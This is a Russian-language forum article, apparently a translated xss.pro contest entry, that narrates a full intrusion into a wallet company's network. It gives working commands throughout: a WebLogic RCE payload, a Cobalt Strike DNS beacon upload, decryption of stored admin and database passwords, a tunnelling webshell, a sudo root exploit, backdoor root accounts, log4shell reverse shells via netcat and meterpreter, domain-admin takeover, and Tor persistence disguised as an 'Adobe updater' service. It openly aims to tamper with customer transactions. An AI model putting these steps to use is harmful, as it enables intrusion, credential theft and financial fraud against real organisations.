На тот момент я знал, что передо мной система IPS, IDS. Для тех, кто не знает, что такое IPS (система предотвращения вторжений), IDS (система обнаружения вторжений) проще говоря, это антивирус, установленный в брандмауэре для предотвращения любых атак вредоносных программ, помимо основных функций брандмауэра, и позже я собираюсь показать, как я понял, что мы имеем дело с Софос. Это очень рили рили бэд и вообще плак-плак, поэтому нам предстоит очень много работы :D

Приступимс

Поскольку брандмауэр блокирует все от выхода, существует большая вероятность того, что серверы за ним НЕПРООПАТЧЕНЫ, что означает, что есть много неисправленных ошибок, и их антивирусы также НЕПРООПАТЧЕНЫ, потому что брандмауэр также блокирует их для получения обновления, что означает, что если бы мы могли обойти системы IPS, IDS и загрузить наш бэкдор DNS, нам не нужно было бы его шифровать.

Я потратил достаточно время на размышления и попытки загрузить байты файла чанками, используя инлайн технику, но проблема, с которой я столкнулся прямо сейчас, заключается в том, что эта уязвимость запускает более одного процесса, когда она выполняется, что означает, что если я выполню следующюю команду то программа будет выполнена и данные будут скопированы более одного раза в beacon.hex, что означает, что файл будет поврежден.

echo|set /p="">beacon.hex
echo|set /p="4d5a900003000000040000000001000000040000000000000cfd775b0da70d420f863a3cd8524d475f8052f0e47533">>beacon.hex


К счастью, наш эксплойт RCE, что означает, что мы можем создать собственный код для записи файла без каких-либо ошибок. Для этого я использовал класс java.io.RandomAccessFile.

Java:
       static void acf(String x,int dbyte) throws IOException{
long cp = 0;
java.io.RandomAccessFile acf = new java.io.RandomAccessFile(x,"r");
while(acf.length() !=cp){
byte[] temp;
int sz = (int) (acf.length()-cp);
if ((sz) >=dbyte)
temp = new byte[dbyte];
else
temp = new byte[sz];
acf.seek(cp);
acf.read(temp,0,temp.length);
cp = acf.getFilePointer();
//System.out.println(bs64(new String(temp))+" --> "+cp);
try {
String s = bs64(new String(temp))+" --> "+cp+"\n";
java.nio.file.Files.write(Paths.get("C:\\outfile.txt"), s.getBytes(), StandardOpenOption.APPEND);
}catch (IOException e) {
//exception handling left as an exercise for the reader
System.out.println("Error "+e.toString());
}
}
     
}

Метод Acf прочитает наш бэкдор и закодирует его, а затем выведет закодированные байты в виде строк в C:\outfile.txt. Теперь я отредактирую эксплойт, чтобы прочитать строки и добавить их в удаленный файл в уязвимой системе, записав файлы туда же, используя метод seek(). Для целей тестирования я сделал метод, который будет реализован локально на моей машине с помощью предыдущего метода:

Java:
       static void wacf(String p, long pos, String d) throws IOException{
java.io.RandomAccessFile wf = new java.io.RandomAccessFile(p,"rw"); // the path must be bs64 encoded
wf.seek(pos);
wf.write(new String(java.util.Base64.getDecoder().decode(d)).getBytes());
         
}

Это оригинальный эксплойт:

_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('"+cmd+"');\");"

Мы добавим в эксплойт код метода wacf() и сосредоточимся на кавычках.

_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.io.RandomAccessFile wf = new java.io.RandomAccessFile(new String(java.util.Base64.getDecoder().decode(\"name_of_file_in_base64String\")),\"rw\");wf.seek(0);wf.write(new String(java.util.Base64.getDecoder().decode(\"base64_line_here\")).getBytes());java.lang.Runtime.getRuntime().exec('nslookup wrote.pop457.dnslog.cn')\");"

Поместим в метод поиска номер позиции файла, куда писать. Например, если первая строка после декодирования base64 была 100 байт, значение поиска следующего запроса будет seek(100) и так далее.

Замените base64_line_here на строку, найденную в C:\outfile.txt, которую создал метод acf().

Замените write.pop457.dnslog.cn своим DNS-именем для отчетов.

Я запустил эксплойт и загрузил строки вручную и отследил ответы сервера, и все прошло хорошо, и файл загрузился. Конечно, я использовал маячок dns, чтобы получить СС в cobaltstrike, что означает, что доменное имя было использовано. Если у вас его нет, вы можете создать его бесплатно на freenom.com.

Софос IPS, IDS и байпас файерволла

Давайте теперь запустим наш DNS-маячок.

exploit.py https://target.com "cmd.exe /c start orcl_domain.exe"

https://xss.pro/attachments/37108/

Как вы можете видеть на рисунке выше, мы можем обойти брандмауэр и получить реверс DNS-маячок, но с низким уровнем пользовательских привилегий, и соединение настолько нестабильно, возможно, это потому, что IPS блокирует некоторые пакеты Cobaltstrike, поэтому мы не можем сделать туннелирование через DNS. Теперь нам нужно подумать об альтернативном способе туннелирования наших соединений с серверами.

Поскольку мы находимся в среде jsp, мы можем реализовать нечто лучшее, чем туннелирование DNS, то есть туннелирование через http, с помощью замечательного инструмента A Black Path Towards the Sun (ABPTTS). Вы можете получить этот инструмент из основного репозитория на github - https://github.com/nccgroup/ABPTTS

Чтобы реализовать такое туннелирование, нам потребуется развернуть веб-оболочку ABPTTS на сервере, а для этого нам потребуется получить пароль консоли weblogic, поэтому нам потребуется расшифровать пароли, существующие в файле boot.properties, и для этого нам понадобится интерактивная оболочка, которая поможет нам выполнять команды в оболочке wlst. В качестве временного решения мы можем использовать dnscat2. Да, он медленный, но он нам понадобится только для взлома паролей, существующих на сервере weblogic.
Вы можете скачать его со следующего URL:

https://downloads.skullsecurity.org/dnscat2/

Я скачал dnscat2-v0.07-server.zip для прослушивания сервером трафика и dnscat2-v0.07-client-win32.zip для windows

Примечание: пароль для распаковки файлов — password

Теперь давайте загрузим клиента на сервер как dc.exe, а затем выполним следующую команду:

exploit.py https://target.com "cmd.exe /c dc --dns domain=domain_here,type=TXT"

И появились первые цифры подключения.

https://xss.pro/attachments/37109/

https://xss.pro/attachments/37110/

https://xss.pro/attachments/37111/

Чтобы взаимодействовать с окном, мы набираем:

Window -i WINDOW_ID_HERE

Для выхода из окон нажимаем CTRL+Z.

Чтобы получить интерактивную оболочку, мы набираем shell, после этого она откроет нам новое окно, мы взаимодействуем с ней с помощью window -i window_id_here

Обратите внимание, что соединение нестабильно, поэтому вам нужно будет запускать клиент более одного раза, но на данный момент это наш лучший выбор.

Теперь мы извлечем учетные данные для входа в консоль, выполнив следующюю команду:

> Type servers\AdminServer\security\boot.properties

Это учетные данные для входа перед расшифровкой:

# Generated by Configuration Wizard on Thu Apr 29 22:33:24 AST 2021
username={AES}Re4nDw1n7PjHF+7bd3pqqLf/mxV0BpzOWn1AyHQ1ovo=
password={AES}DSkOz1wN1OewOiqRN+KWFe1YCttgm105glJCmXdCd3o=


Теперь, выполнив следующие команды, я мог извлечь имя пользователя и пароль для консоли входа в систему.

> cd C:\Oracle\Middleware\Oracle_Home\wlserver\common\bin
> wlst.bat
> domain = "C:/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain"
> service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)
> encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)
> encryption.decrypt("{AES}Re4nDw1n7PjHF+7bd3pqqLf/mxV0BpzOWn1AyHQ1ovo=")
'wallet'
> encryption.decrypt("{AES}Re4nDw1n7PjHF+7bd3pqqLf/mxV0BpzOWn1AyHQ1ovo=")
' walletAdmin1'

Domain
: путь к домену weblogic.

Service: создание службы шифрования и сохранение ее в переменной службы.

Encryption: получение объекта расшифровки AES и сохранение его в переменной шифрования.

Encryption.decrypt(): вызывает функцию расшифровки и передать значение AES

Перед входом в систему и закрытием туннеля dnscat2 нам нужно взломать пароли баз данных, а пароли баз данных существуют в файлах, называемых источниками данных. Эти файлы существуют по пути:

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain1\config\jdbc

Я нашел несколько файлов xml, которые содержат учетные данные для входа на серверы баз данных, и это один из них:

XML:
       <?xml version='1.0' encoding='UTF-8'?>
<jdbc-data-source xmlns="http://xmlns.oracle.com/weblogic/jdbc-data-source" xmlns:sec="http://xmlns.oracle.com/weblogic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wls="http://xmlns.oracle.com/weblogic/security/wls" xsi:schemaLocation="http://xmlns.oracle.com/weblogic/jdbc-data-source http://xmlns.oracle.com/weblogic/jdbc-data-source/1.0/jdbc-data-source.xsd">
<name>JDBC GridLink Data Source-0</name>
<datasource-type>AGL</datasource-type>
<jdbc-driver-params>
<url>jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.33)(PORT=1533)))(CONNECT_DATA=(SERVICE_NAME=walletDB)))</url>
<driver-name>oracle.jdbc.OracleDriver</driver-name>
<properties>
<property>
<name>user</name>
<value>wallet</value>
</property>
</properties>
<password-encrypted>{AES}3kvyGZTpFd5gIxzRAGIjDNmbKTIhLhAARvhYv+ld63w=</password-encrypted>
</jdbc-driver-params>
<jdbc-connection-pool-params>
<initial-capacity>100</initial-capacity>
<max-capacity>3500</max-capacity>
<min-capacity>1</min-capacity>
<shrink-frequency-seconds>900</shrink-frequency-seconds>
<highest-num-waiters>2147483647</highest-num-waiters>
<connection-creation-retry-frequency-seconds>0</connection-creation-retry-frequency-seconds>
<connection-reserve-timeout-seconds>10</connection-reserve-timeout-seconds>
<test-frequency-seconds>120</test-frequency-seconds>
<test-connections-on-reserve>false</test-connections-on-reserve>
<ignore-in-use-connections-enabled>true</ignore-in-use-connections-enabled>
<inactive-connection-timeout-seconds>120</inactive-connection-timeout-seconds>
<test-table-name>SQL ISVALID</test-table-name>
<login-delay-seconds>0</login-delay-seconds>
<statement-cache-size>100</statement-cache-size>
<statement-cache-type>LRU</statement-cache-type>
<remove-infected-connections>true</remove-infected-connections>
<seconds-to-trust-an-idle-pool-connection>10</seconds-to-trust-an-idle-pool-connection>
<statement-timeout>-1</statement-timeout>
<pinned-to-thread>false</pinned-to-thread>
<wrap-types>true</wrap-types>
<connection-harvest-max-count>1</connection-harvest-max-count>
<connection-harvest-trigger-count>-1</connection-harvest-trigger-count>
<count-of-test-failures-till-flush>2</count-of-test-failures-till-flush>
<count-of-refresh-failures-till-disable>2</count-of-refresh-failures-till-disable>
</jdbc-connection-pool-params>
<jdbc-data-source-params>
<jndi-name>jdbc/restDS</jndi-name>
<global-transactions-protocol>OnePhaseCommit</global-transactions-protocol>
</jdbc-data-source-params>
<jdbc-oracle-params>
<fan-enabled>false</fan-enabled>
<ons-node-list></ons-node-list>
<ons-wallet-file></ons-wallet-file>
<active-gridlink>true</active-gridlink>
</jdbc-oracle-params>
</jdbc-data-source>

Между тегом password-encrypted мы можем найти зашифрованный aes пароль, который использовался для подключения к базе данных на удаленном сервере 172.16.33.33.

Dbname = walletDB
Dbuser= wallet
Host=172.16.33.33
Encrypted password= {AES}3kvyGZTpFd5gIxzRAGIjDNmbKTIhLhAARvhYv+ld63w=

Теперь давайте выполним ту же команду расшифровки в оболочке wlst:

> encryption.decrypt("{AES}3kvyGZTpFd5gIxzRAGIjDNmbKTIhLhAARvhYv+ld63w=")
'wallet_123'


Теперь у нас есть все учетные данные для входа как для сервера базы данных приложения кошелька, так и для входа в консоль weblogic. Теперь попробуем войти:

https://xss.pro/attachments/37112/

Наконец :D мы вошли в систему, это было тяжело и изнурительно. Теперь пришло время для великого инструмента "черный путь к солнцу". Об этом инструменте следует упомянуть то, что он поддерживает туннелирование через http как для aspx, так и для jsp. Теперь выполните следующие команды в терминале:

git clone https://github.com/nccgroup/ABPTTS.git
cd ABPTTS
python abpttsfactory.py -o webshell


Теперь у нас есть веб-оболочки (aspx, jsp и war) в папке webshell. Нас сейчас интересует оболочка war, потому что weblogic развертывает war файлы только как веб-приложение.

ls -lah webshell

https://xss.pro/attachments/37113/

Мы будем загружать philanderersRedeemer.war через консоль weblogic.

Развернуть приложение в weblogic довольно просто, просто выполните следующие действия:

- Нажмите "Заблокировать и изменить".
- Нажмите "Развертывание".
- Нажмите "Установить"
- Нажмите "Загрузить файл(ы)".
- Найдите веб-оболочку и выберите ее, затем проигнорируйте все остальное и нажмите "Далее".
- Нажмите "Далее"
- Нажмите "Далее"
- Запомните имя, которое появляется в поле имени
- Финиш


В разделе Summary of Deployments щелкните вкладку Control, затем внизу под Deployments выберите свой файл. Затем нажмите Start → Servicing all requests, Finally click Release Configuration

Вот так:D


Теперь мой URL-адрес оболочки - abpts: https://target.com/abpts/philanderersRedeemer.jsp.
 
Теперь у нас есть возможность туннелировать через http, который намного быстрее, чем DNS, что означает, что мы обошли брандмауэр и IPS, IP-адреса.

Туннель через HTTP

ABPTTS предоставляет простой способ туннелирования соединений с помощью простой командной строки.

python abpttsclient.py -c [Файл конфигурации] -u [веб-оболочка abptts] -f local_IP_to_Listen:[Local_port]/[Remote_IP_to_connect]:[Remote_Port]

Теперь мы будем использовать учетные данные для входа в базу данных, чтобы взломать сервер оракула, а НЕ только базу данных, и получить привилегии рут на сервере. Затем подключимся к базам данных внутри сервера и сделаем все, что мы захотим, например, изменим номер транзакции, повторно использую старый перевод денег, отредактировав его и делая все, что приходит нам в голову.

Так как же мы получим сервер оракула, используя учетные данные для входа в базу данных оракула? Мы будем использовать инструмент под названием Oracle Database Attacking Tool. Этот инструмент является удивительным инструментом, он проверяет все доступные эксплойты и привилегии для пользователя базы данных и дает нам отчет.

Итак, сначала давайте сделаем туннель через http, используя следующую команду

python abpttsclient.py -c webshell/config.txt -u https://target.com/abpts/philanderersRedeemer.jsp -f 127.0.0.1:1521/172.16.33.33:1533 -v

127.0.0.1:1521
- петлевой интерфейс и локальный порт для прослушивания на нашей атакующей машине

172.16.33.33:1533 - удаленный IP-адрес сервера оракула и порт удаленного прослушивания

Очень легко не правда ли :)

Если мы сейчас проверим прослушивающие соединения на нашей машине, мы заметим, что python теперь прослушивает порт 127.0.0.1:1521.

netstat –nltp

https://xss.pro/attachments/37115/

Вламываемся в Сервер Базы Данных


Чтобы взломать сервер базы данных Oracle, нам нужно будет проверить привилегии, которые есть у пользователя db, и использовать их в своих интересах. Для этого мы воспользуемся Oracle Database Attacking Tool ODAT, этот замечательный инструмент сделает всю тяжелую работу за нас.

Этот инструмент выполняет множество атак на сервер оракула и дает хороший и отсортированный результат, вы можете загрузить его по следующему URL-адресу.

https://github.com/quentinhardy/odat/releases/download/5.1.1/odat-linux-libc2.17-x86_64.tar.gz

Теперь давайте начнем атаку на сервер 172.16.33.33 с использованием учетных данных которые у нас есть в базе данных.

Выполните следующую команду:

odat all -s 127.0.0.1 -U wallet -P wallet_123 -d walletDB

all
- тестирование на всё

127.0.0.1
- наш петлевой интерфейс для прослушивания.

-U для имени пользователя

-P для пароля

-d для базы данных

https://xss.pro/attachments/37116/

OK означает, что мы можем использовать библиотеку для эксплойта. Для меня библиотека UTL_FILE всегда работает нормально, особенно когда сервер оракула на Лине. Чтобы проверить, является ли это Линем, нам нужно туннель для ssh и попытаться войти в систему.

python abpttsclient.py -c webshell/config.txt -u https://target.com/abpts/philanderersRedeemer.jsp -f 127.0.0.1:1521/172.16.33.33:1533 -f 127.0.0.1:2222/172.16.33.33:22 -v
ssh 127.0.0.1 –p 2222


Это и есть Линь :D

Библиотека utlfile способна делать практически все с файлами на сервере. Например, загружать файл с нашей машины на сервер или загружать файл с сервера на нашу машину и, конечно же, удалять файл, чтобы увидеть функциональные возможности библиотеки только во время odat utlfile -h

Теперь давайте загрузим ssh-ключ на сервер оракула по пути /home/oracle/.ssh/authorized_keys и подключимся к нему. Если вы еще не создали ключ ssh, вы можете сделать это с помощью инструмента ssh-keygen, который есть по умолчанию в Лине.

В любом случае, у меня есть один в домашнем каталоге Кали, поэтому я загружу его на сервер оракула (см. следующий рисунок).

https://xss.pro/attachments/37118/

Итак, теперь наш ключ ssh находится в папке /home/oracle/.ssh как author_keys, что означает, что мы можем подключиться к серверу oracle без ввода пароля, выполнив следующую команду:

ssh oracle@127.0.0.1 –p 2222

https://xss.pro/attachments/37119/

Бинго >:E Мы внутри сервера оракула.

Теперь наше соединение с сервером оракула выглядит так:

https://xss.pro/attachments/37120/

Теперь что делаем дальше?

Эскалация привилегий

Последние два года Линь страдает от уязвимостей повышения привилегий, таких как CVE-2021-3156, pwnkit, dirtypipe и Nimbuspwn. Я попытаюсь проверить первый, используя эту строку

perl sudoedit -s '\' `perl -e 'print "A" x 65536'`

https://xss.pro/attachments/37121/

Он уязвим. Эксплойт доступен на github - https://github.com/worawit/CVE-2021-3156.

Давайте загрузим эксплойт с помощью команды scp.

scp -P2222 -i ~/.ssh/id_rsa CVE-2021-3156.zip oracle@127.0.0.1:/tmp

https://xss.pro/attachments/37122/

unzip CVE-2021-3156.zip
cd CVE-2021-3156-main/
python exploit_defaults_mailer.py

https://xss.pro/attachments/37123/


Теперь запустим /tmp/sshell

https://xss.pro/attachments/37124/
Теперь у нас есть рут в системе Линь, что означает, что мы можем использовать эту систему в качестве нашей хакерской станции внутри сети и выполнять из нее любые атаки или сканировать сеть. Но теперь я создам пользователя с привилегиями рут на сервере, чтобы нам было лучше. Выполните следующие команды:

useradd --no-create-home sql
usermod –aG sudo sql
passwd sql  then set the password for the user sql


Теперь мы можем просматривать все базы данных, которые существуют на этом сервере без каких-либо ограничений, поэтому давайте подключимся к базе данных оракула.

sqlplus / as sysdba
SELECT NAME FROM v$database;
select table_name from all_tables where owner='WALLET'; // we will get the tables for user wallet


Теперь мы можем использовать операторы вставки или обновления для управления транзакциями клиентов. Однако сначала нам нужно будет изучить и проанализировать таблицы и столбцы базы данных, чтобы понять, какие столбцы или таблицы нужно редактировать, и это займет некоторое время, поэтому я остановлюсь здесь и перейду к следующему разделу.

https://xss.pro/attachments/37125/

Погружаемся ещё глубже ко дну сети

Нам нужно перейти с этой машины на другую, чтобы мы могли получить доступ к контроллеру домена, потому что мы попали на машину с низкими правами пользователя и за пределами домена компании. Я всегда, когда я закрепляюсь в сети, первым делом ищу vcenter, и он часто подключен почти ко всем интерфейсам в сети или имеет доступ ко всем сетевым диапазонам, так что это хорошее место для начала, которое очень поможет нам в обнаружении сети без каких-либо фильтров. Мы будем использовать инструмент masscan для сканирования диапазона 192.168.0.0/16 на наличие порта 443, который прослушивают ESXi, vCenter и многие другие гипервизоры. Итак, мы переносим masscan на сервер оракула с нашей машины. Но мы будем использовать команду rsync с большими файлами на случай, если связь прервется, чтобы мы могли завершить передачу с того места, где мы остановились.

rsync –P –e "ssh –p 2222" masscan sql@127.0.0.1:/tmp

Эта команда перенесет masscan в файл tmp на сервере Oracle. Теперь приступим к сканированию.

cd /tmp
chmod +x masscan
./masscan –p 443 192.168.0.0/16 –rate=10000 >> 443.txt


--rate = количество пакетов в секунду, не рекомендуется ставить больше 100000, так как вы будете отключены от хоста и результат сканирования будет неточным, возможно вы пропустите какие-то хосты. Теперь у нас есть результаты, сохраненные в файле 443.txt, и теперь мы хотим проверить, содержат ли эти ips ESXi, vcenter. Для этого я сделал простой скрипт на питоне. Я прикреплю его вместе с файлами в конце статьи.

https://xss.pro/attachments/37126/

192.168.0.81 - это vcenter. Мы его нашли. Давайте проверим, уязвим ли vcenter к уязвимости log4shell. Для этого я сделал скрипт на python, он также будет во вложениях. Мы перенесем его на сервер оракула так же, как и с masscan.

psync –P –e "ssh –p 2222" vcenter.py sql@127.0.0.1:/tmp

https://xss.pro/attachments/37127/

Результат такой -

https://xss.pro/attachments/37128/


И он уязвим :D

Вламываемся с ноги в VCenter

Теперь для эксплуатации vcenter нам потребуется передать rogue-jndi. Получить его можно на гитхабе. В нашем Кали мы выполним следующую команду, чтобы получить его.

git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package


Возможно, вам нужно будет установить mvn (maven). Если он не установлен на вашей машине kali, тогда мы заархивируем целевую папку:

zip target.zip –r target


Затем перенесите его на сервер оракула:

rsync –P –e "ssh –p 2222" target.zip sql@127.0.0.1:/tmp

Идея эксплуатации состоит в том, чтобы получить реверс коннект от vcenter к нашему облачному серверу или к серверу оракула.

Этапы эксплуатации такие:

- Предоставьте rogue-jndi команду для выполнения в vcenter, порт прослушивания ldap и порт http. Вы можете использовать порты по умолчанию.
- Выполните эксплойт питон, который мы уже передали на сервер оракула.


Подробнее об эксплойте можно прочитать здесь

https://www.sprocketsecurity.com/blog/how-to-exploit-log4j-vulnerabilities-in-vmware-vcenter

По умолчанию vcenter поставляется с неткатом, поэтому мы можем использовать его для получения реверс оболочки либо на наш облачный сервер, либо на сервер оракула.

Я попытался получить реверс оболочку для своего облачного сервера, но это не удалось, поэтому я получил обратную оболочку для сервера оракула.

Запустите эксплойт, затем измените значение внутри скрипта vcenter.py.

java -jar target/RogueJndi-1.1.jar -c "nc 172.16.33.33 443 -e /bin/bash"
nano vcenter.py


https://xss.pro/attachments/37129/

Сохраните и запустите эксплойт

python vcenter.py https://192.168.0.81

Мы получили обратную оболочку, так что давайте выполним команду:

id
/bin/bash –I


Теперь пришло время показать вам, что мы имели дело с брандмауэром Софос с самого начала. Я попытался отправить запрос на xss.pro с хоста vcenter, и это ответ

https://xss.pro/attachments/37131/

Теперь наше подключение к vcenter выглядит так:

https://xss.pro/attachments/37132/

Ковыряем ещё глубже и глубже ................

Как я упоминал ранее, часто хост vCenter имеет доступ почти ко всем диапазонам в сети, потому что многие работающие серверы являются виртуальными, и во многих случаях им необходимо связать их с vcenter для управления ими, поэтому мы попытаемся просканировать сеть класса A, которая является 10.0.0.0/8 из vcenter с помощью масскана, но сначала нам нужно создать пользователя с привилегиями рут, как мы это делали на сервере оракула.

useradd --no-create-home sql –shell /bin/bash

usermod –aG sudo sql

passwd sql à then set the password for the user sql


python abpttsclient.py -c webshell/config.txt -u https://target.com/abpts/philanderersRedeemer.jsp -f 127.0.0.1:1521/172.16.33.33:1533 -f 127.0.0.1:2222/172.16.33.33:22 -f 127.0.0.1:3333/192.168.0.81:22 -v

https://xss.pro/attachments/37133/


Итак, давайте войдем через сэсэха:

https://xss.pro/attachments/37134/

Теперь давайте просканируем частный IP-адрес класса A, и в случае, если мы не получим что-то хорошее, мы просканируем класс B и класс C, и я сосредоточусь на таких сервисах, как http, https сервисы на следующих портах:

443, 8443, 80, 8080, 8081, 8082, 8083, 7001, 7002, 9001, 9002
 
После того, как мы найдем такие порты, мы будем использовать zgrab2 для поиска внутренних серверов jsp, таких как tomcat, jboss, weblogic, Jenkins или любого сервера, который содержит в своем ответе JSESSIONID, чтобы мы могли попытаться использовать их с помощью эксплойта log4shell, как мы сделали с vcenter. Прежде чем мы начнем, я хочу упомянуть кое-что очень важное о сочетании masscan и zgrab2. Эти два инструмента очень быстрые, что означает, что их результаты неточны. И еще одна вещь о zgrab2. Этот инструмент не аутентифицирует сертификат tls ssl. Я пытался найти, в чем проблема, но без шансов, поэтому, если кто-то из вас ребята разбирается в этом, и у Вас есть идеи, то было бы неплохо, если бы вы разместили решение в комментариях. В любом случае, zgrab2 по-прежнему силен и эффективен.

Теперь займемся рутом

sudo /bin/bash

Затем введите пароль.

А в другом терминале перенесем масскан:

rsync –P –e "ssh –p 3333" masscan sql@127.0.0.1:/tmp
In ssh terminal
cd /tmp
mkdir .xx
mv masscan .xx
cd .xx
chmod +x masscan
./masscan –p 443 10.0.0.0/8 –rate=100000 >> 443.txt



https://xss.pro/attachments/37135/


Мы отфильтровали вывод с помощью команды:

cat 443.txt | cut –d ' ' –f6 >> 443_filtered.txt

Теперь мы будем использовать zgrab2 для отправки запросов на порт 443:

https://xss.pro/attachments/37136/

Теперь пришло время отфильтровать выходные данные, созданные zgrab2, поскольку у нас 169 хостов, будет очень сложно сортировать и фильтровать выходные данные и искать службы и сценарии, поэтому я создаю простой сценарий оболочки, который сделает эту работу за нас. Он будет во вложениях.

Переносим его на сервер.

rsync –P –e "ssh –p 3333" detect.sh.zip sql@127.0.0.1:/tmp

И в терминале ссх:

mv ../detect.sh.zip .
unzip detect.sh.zip
chmod +x detect.sh
./detect.sh 443.cvs #443.csv is the zgrab2 result
ls -lah out/


И результат такой:

https://xss.pro/attachments/37137/

Как видите, у нас есть результаты в текстовом файле JSESSIONID, tomcat.txt, vmware Horizon и Wordpress. Мы все знаем, что vmware Horizon уязвим для log4shell, и я уверен, что мы найдем больше на tomcat и многое другое в jsessionid. И мы не сканировали другие порты, мы сканировали только порт 443.

https://xss.pro/attachments/37138/

Давайте проверим, уязвимы ли эти хосты для log4shell.

Эксплойт такой:

curl -vv -H "Accept-Language: \${jndi:ldap://DNSHOST}" --insecure https://target_ip/portal/info.jsp

Оба уязвимы.

Хорошо. Теперь давайте воспользуемся одним из них так же, как мы это сделали с vcenter, но сначала мы должны попытаться получить реверс оболочку в нашем облаке.

В этот раз, когда я попытался получить реверс-шелл в облако, и это сработало:D:D:D

Итак, давайте создадим полезную нагрузку метерпретер:

msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lport 8444
lport => 8444
msf6 exploit(multi/script/web_delivery) > set lhost eth0
lhost => eth0
msf6 exploit(multi/script/web_delivery) > run


И запустим эксплойт rogue-jndi:

java –jar target/RogueJndi-1.1.jar –l 8443 –p 8081 –c "powershell payload"

Затем с другого терминала запустите эксплойт

curl -vv -H "Accept-Language: \${jndi:ldap://serverip:8443/o=tomcat}" --insecure https:// 10.90.11.100/portal/info.jsp

https://xss.pro/attachments/37142/

Он успешно обошел брандмауэр и получил реверс оболочку в своем облаке.

Наше подключение сейчас такое:

https://xss.pro/attachments/37144/

И что удивительно, теперь мы внутри сетевого домена:

https://xss.pro/attachments/37145/

Имеем сетевой домен на всю шишечку

(
Раньше я жила не знала
Что такое кокушки
Пришло время -- застучали
Кокушки по *******е. )

Когда мы находимся в домене, очень легко получить администратора домена, особенно с такими уязвимостями, как petitpotam, nightmare, remotepotato0, zerlogon, misconfig и т. д.

Но самый простой способ, который сработал для меня на этот раз, — это мигрировать процесс полезной нагрузки с процессом, принадлежащим администратору домена.

Поэтому мы запросим администраторов домена, выполнив команду:

net group "domain admins" /domain

Затем найдем запущенные процессы на текущем сервере и просмотрим только процессы, принадлежащие домену:

tasklist /v|findstr /I "domain name here"

https://xss.pro/attachments/37146/

Как видно на рисунке, все выходные процессы запускаются пользователем с именем mabutaha и у этого пользователя есть права администратора, поэтому я перенесу нашу сессию с процессом с pid 3660. Затем мы попросим контроллеры домена выполнить следующую команду:

nltest /dclist:domain_name_here

После этого мы проверим, есть ли у нас возможность перечислить диск C в одном из ДК. Если это так, это означает, что мы являемся администратором домена и можем получить доступ ко всем хостам и серверам, которые подключены к домену.

https://xss.pro/attachments/37147/

Мы администратор домена loool. Это было довольно легко и быстро. На самом деле, любая компания использует свой брандмауэр для обеспечения безопасности и не заботится о том, что находится внутри, у них вообще нет безопасности, потому что, как вы видели, в конце концов мы смогли обойти брандмауэр, IPS и IDS, и мы в конечном итоге являемся администратором домена и имеем возможность контролировать всю компанию.

"Из своего опыта я обнаружил, что компании с такими правилами брандмауэра, и их сетевые инженеры большие дураки, и мы видим такой фильтр, который привлекает меня в компанию, потому что я знаю, что то, что находится внутри, совсем не безопасно. Да, это не всегда так, но это очень распространено, и у меня был такой сценарий с многомиллиардным пакетом акций банка США, когда я обходил брандмауэр. Почти все операционные системы были слабыми и уязвимыми".

Итак, теперь у нас есть все. Если вы заметили на рисунке, который показывает администраторов домена, есть пользователь резервного копирования виам, что означает, что мы можем очень легко извлечь пароли для серверов esxi из серверов резервного копирования, и я видел туториал в предыдущем конкурсе.

Персистенс

Одна из самых важных вещей, которую нужно сделать после того, как вы станете владельцем компании — это создать легальный бэкдор для доступа к серверам без срабатывания тревоги антивирусом или каким-либо продуктом безопасности, и это можно сделать разными способами, такими как создание туннеля с помощью ngrok или tor, либо установив anydesk, либо создав собственный бэкдор и связав его с сервером через ICMP, TCP или даже DNS.

Для меня и многих людей сделать туннель через тор — лучший вариант

Поэтому я сделаю это кратко и быстро, потому что это очень легко сделать.

- Залить тор на сервер
- Извлечь его в любом месте, где вы хотите
- Измените конфигурацию файла torrc

SocksPort 45120
- прослушивающий порт для Tor

HiddenServiceDir C:\ProgramData\MSConnect — путь для скрытой службы.

HiddenServicePort 80 127.0.0.1:3389 - подключиться через порт 80 к RDP текущего хоста на порту 3389

MaxCircuitDirtiness 10 - сохранить или изменить, решать вам.

Создайте сервис для процесса tor с именем, которое вам нравится:

sc create "Adobe updater" binpath= "path for tor.exe process –nt-service –f \"path for torrc file\"" start= auto

sc start "Adobe updater"


Получите имя хоста, которое Tor создал для вас:

type C:\ProgramData\MSConnect\hostname

Скопируйте вывод, потому что он понадобится вам для подключения к серверу.

Теперь, когда вы хотите подключиться к серверу, вам нужно запустить топ на вашей машине кали и установить конфигурацию проксичейна для туннелирования через тор.

Затем выполните следующую команду:

proxychains rdesktop hostname_here:port

Порт в файле torrc 80:

Proxychains rdesktop hostname_here:80

Вот оно: :D

Я потратил часы на написание этой статьи, поэтому, если вы нашли что-то неясным, пожалуйста, не стесняйтесь спрашивать меня, и я постараюсь сделать все возможное, чтобы вам было понятно.

Ребята, у меня есть еще две статьи для участия в конкурсе, и я думаю, что у нас еще много времени, поэтому, если вы хотите, чтобы что-то было объяснено или у вас есть идеи для статей, пожалуйста, пишите мне в комментариях.


Атачи:


Спасибо за прочтение :D

=============================================================================================
Яша пользуясь случаем хочет сказать следующее. Большое спасибо Администрации в лице admin, что доверили мне перевод это шикарной статьи spyboy. На какой то момент я почувствовал себя настоящим хакером, переводя эту статью. В 2000-ных я упарывался по статьям Дмитрия Докучаева Форба и Олежки НСД Толстых. Это были мои первые уроки взлома, но к сожалению интернет у меня был только по картам и мои первый анлим пришел аж в 2008 году, это были 64к за какие то безумные деньги для 2008 года - 500р. Я хочу передать этим ребятам привет. Если кто их не знает - вот они слева направо.

2c581d.jpg


1654715521619.png


Также хочу передать привет Боре и Бастер где бы Вы ни были. Ребята, Вы все четвером просто красавчики!!! Боря - а ты вообще Атомный!!!

Ну а по статье скажу чисто свое имхо - это реально победная статья, не скажу про именно первое место, но то что победная это точно!!!
